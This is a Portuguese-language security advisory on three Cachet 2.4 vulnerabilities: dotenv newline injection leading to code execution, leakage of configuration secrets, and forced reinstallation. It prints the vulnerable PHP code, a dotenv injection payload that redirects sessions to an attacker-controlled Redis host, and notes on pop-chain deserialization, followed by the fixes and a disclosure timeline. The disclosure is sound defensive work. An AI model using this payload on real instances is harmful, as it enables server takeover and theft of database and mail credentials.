Páginas de status agora são um serviço essencial oferecido por todas as empresas de Software-as-a-Service. Para facilitar sua adoção, startups rapidamente conceberam páginas de status como-um-serviço e alternativas de código aberto auto-hospedadas foram disponibilizadas. Cachet, às vezes também referido como CachetHQ, é um sistema de página de status amplamente adotado escrito em PHP e possui muitas bifurcações da comunidade, como fiveai/Cachet.
Comprometer instâncias de Cachet é recompensador para atacantes, pois armazenam segredos para vários serviços como caches, servidores de banco de dados, servidores de e-mail, etc. Essa posição inicial na infraestrutura é útil para eles se infiltrar na rede interna da empresa afetada e realizar ataques adicionais. Neste artigo, apresento a análise técnica de três bugs de segurança que minha equipe e eu descobrimos no Cachet 2.4. Eles podem permitir que atacantes comprometam o servidor.
Impacto
A exploração dessas vulnerabilidades foi verificada na última versão oficial do Cachet na época (2.3.18), bem como na branch de desenvolvimento (2.4). Um atacante que deseja explorar essas vulnerabilidades requer uma conta de usuário válida com privilégios básicos, um cenário que pode ser realisticamente explorado por:
- Usando stuffing de credenciais graças à considerável quantidade de contas vazadas todos os anos.
- A compromised or malicious user.
- A presença de uma vulnerabilidade de injeção de código malicioso em um mesmo perímetro.
- A exploração do CVE-2021-39165, uma injeção SQL pré-autenticada no Cachet corrigida em janeiro de 2021.
Vulnerabilidade 1: CVE-2021-39172
A primeira vulnerabilidade (CVE-2021-39172) que descrevo é uma injeção de nova linha que ocorre quando os usuários atualizam a configuração de uma instância, como as configurações de e-mail. Isso permite que atacantes injetem novas diretivas e alterem o comportamento de recursos essenciais, levando à execução de código arbitrário.
O vídeo a seguir mostra a exploração desta vulnerabilidade. Para fins de demonstração, vários passos são realizados manualmente, mas poderiam ser automatizados por atacantes:
Fonte: YouTube do Sonar
Vulnerabilidade 2: CVE-2021-39174
A segunda (CVE-2021-39174) também está relacionada a este recurso e permite que o atacante extraia segredos armazenados no arquivo de configuração, por exemplo, a senha do servidor SMTP, a chave de criptografia do aplicativo, etc.
Vulnerabilidade 3: CVE-2021-39173
Por fim, o último bug (CVE-2021-39173) é muito mais simples e permite passar pelo processo de configuração mesmo que a instância já esteja totalmente configurada. Dessa forma, os atacantes podem enganar a instância do Cachet para usar um banco de dados arbitrário sob seu controle, culminando na execução de código arbitrário.
Patches para estas três vulnerabilidades estão disponíveis em release 2.5.1 do fork FiveAI.
Detalhes Técnicos
Nesta seção, descrevo os detalhes técnicos de cada vulnerabilidade e a maneira como foram mitigadas na versão mais recente do fork da comunidade.
CVE-2021-39172: Execução de Código Remoto
O painel do Cachet expõe várias visualizações de configuração (mesmo para usuários não administradores) para alterar o nome da instância, as configurações do servidor de correio, etc. Configurações persistentes no nível da aplicação são salvas no banco de dados, e outros valores no nível do framework são salvos diretamente no arquivo de configuração da aplicação. O framework Laravel utiliza dotenv arquivos de configuração, um formato semelhante ao que você usaria para declarar variáveis de ambiente em um script de shell. O suporte é implementado na biblioteca de terceiros aqui.
Ao alterar as configurações do provedor de email, o controlador instancia um objeto da classe UpdateConfigCommand
. Comandos Laravel, no contexto do bus de comando, são uma maneira de remover a lógica específica da aplicação dos controladores; eles serão executados de forma sincrônica após uma chamada execute()
no objeto. Isso é o que acontece em [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
O manipulador associado UpdateConfigCommandHandler
é responsável por realizar alterações no arquivo dotenv existente, substituindo entradas existentes por novas.
UpdateConfigCommandHandler
pode ser acionado por código em dois locais diferentes:
SetupController@postStep3
: o último passo do processo de configuração. Uma vez que a instância é instalada, esse caminho de código não pode mais ser alcançado;SettingsController@postMail
: ao atualizar as entradas dotenv relacionadas a servidores de email.
Ele primeiro avaliará todo o arquivo de configuração para popular o ambiente de processo ([1]
), identificará se a diretiva para atualizar já está definida ([2]
) e substituirá a entrada pelo seu novo valor ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
Não é realizada nenhuma validação nos dados recebidos: contanto que a entrada de configuração já exista, ela será substituída por um valor proveniente do parâmetro. Se um atacante fornecer um valor contendo novas linhas, isso criará novas entradas no arquivo dotenv e pode alterar funcionalidades no nível do framework.
Nota: apenas a primeira definição de uma variável em um arquivo dotenv será usada; as subsequentes serão ignoradas.
Em projetos Laravel, essa primitiva é suficiente para obter execução arbitrária de código. A configuração inicial do arquivo dotenv provavelmente se parecerá com isso em a maioria das instâncias:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
Ataqueiros poderiam substituir a chave CACHE_DRIVER
e registrar um servidor Redis sob seu controle como um novo backend de sessão:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
Após enviar uma requisição que define CACHE_DRIVER
para esse valor, o arquivo dotenv ficaria assim:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
Como as sessões do Laravel são serializadas usando o formato nativo do PHP, elas são analisadas com a função unserialize()
. Esse é um conhecido ponto fraco que pode ser explorado para a execução de código arbitrário usando uma sequência de objetos especialmente criados, um conceito chamado de “cadeias pop”. A ferramenta PHPGGC pode gerar tais cadeias para projetos Laravel.
Podem existir outras maneiras de explorar a execução de comandos a partir de uma injeção de nova linha em um arquivo dotenv, mas não prosseguimos com mais pesquisas nessa direção. Minha equipe e eu estamos curiosos para saber se você está ciente de outras técnicas!
CVE-2021-39174: Vazamento de Configuração
Como descrevi na seção anterior, é possível ter controle direto de leitura e escrita sobre os valores armazenados no arquivo dotenv. Escrever neste arquivo acaba levando à execução de código arbitrário, mas também pode ser explorado pelo fato de que os valores deste arquivo são exibidos na interface?
A documentação de vlucas/phpdotenv
descreve que suporta atribuição de variáveis aninhadas: ao declarar uma variável, você pode referenciar uma previamente declarada com a sintaxe ${NAME}
.
Essa funcionalidade é conveniente: referenciando outra variável em uma entrada do arquivo de configuração dotenv e exibindo essa entrada na interface, revela o valor de outra variável.
Já é amplamente documentado que vazar APP_KEY
leva à execução de código se o driver de sessão estiver definido como cookie, e essa primitiva também pode ser usada para vazar DB_PASSWORD
e MAIL_PASSWORD
para realizar ataques adicionais.
CVE-2021-39173: Reinstalação Forçada
A página de configuração não pode ser acessada se a instância já estiver instalada, conforme implementado no middleware. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// não configurado então!
}
return $next($request);
}
}
O check é baseado exclusivamente no valor do parâmetro: se não estiver definido ou estiver vazio, o middleware considerará que a instância está instalada.
Caso esteja se perguntando o que mais pode ser avaliado como falso, aqui está um breve resumo sobre o sistema de tipos do PHP durante comparações até o PHP 8. As comparações podem ser feitas usando uma verificação de igualdade (==) ou uma verificação de identidade (===). As verificações de igualdade implicam que o tipo dos operandos não é considerado e as strings podem ser convertidas em números antes. Esse comportamento foi nomeado de “type juggling” e tem sido explorado em várias vulnerabilidades da vida real (CVE-2017-1001000, CVE-2019-10231). No caso da comparação acima, qualquer valor igual a uma string vazia ou “0” será avaliado como false
e permitirá o acesso às páginas de configuração.
O valor de app_name
não é validado durante a atualização das configurações em SettingsController@postSettings
, em [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
Portanto, um usuário autenticado pode atualizá-lo para um valor avaliado como falso e, em seguida, acessar/configurar novamente para reinstalar a instância com uma nova conta de administrador (elevação de privilégios) ou explorar nossa primeira descoberta e obter execução de código (lembre-se, UpdateConfigCommandHandler
também pode ser explorado a partir deste caminho).
Correção
A vulnerabilidade de injeção de nova linha (CVE-2021-39172) foi abordada melhorando a validação dos valores recebidos em UpdateConfigCommandHandler
, rejeitando qualquer modificação contendo caracteres de nova linha.
O bug de vazamento de configuração (CVE-2021-39174) foi mais complexo de ser corrigido, pois a versão mais recente da biblioteca dotenv não podia ser importada devido às dependências existentes. Em vez disso, o código relevante foi adaptado para permitir que o manipulador de comandos identifique se um valor contém uma variável aninhada.
Finalmente, não é possível forçar uma reinstalação de instâncias existentes (CVE-2021-39173) graças a verificações aprimoradas no middleware afetado.
Cronograma
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
Resumo
Neste artigo, analisei três vulnerabilidades no Cachet e demonstrei a capacidade de assumir instâncias com apenas permissões de usuário básicas usando arquivos de configuração do Laravel. Também descrevi as correções aplicadas pelos mantenedores e como elas impedem os ataques que apresentei.
Por fim, minha equipe e eu gostaríamos de agradecer aos mantenedores do fork FiveAI de Cachet por reconhecerem nosso aviso e por corrigirem essas vulnerabilidades de maneira oportuna e profissional.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection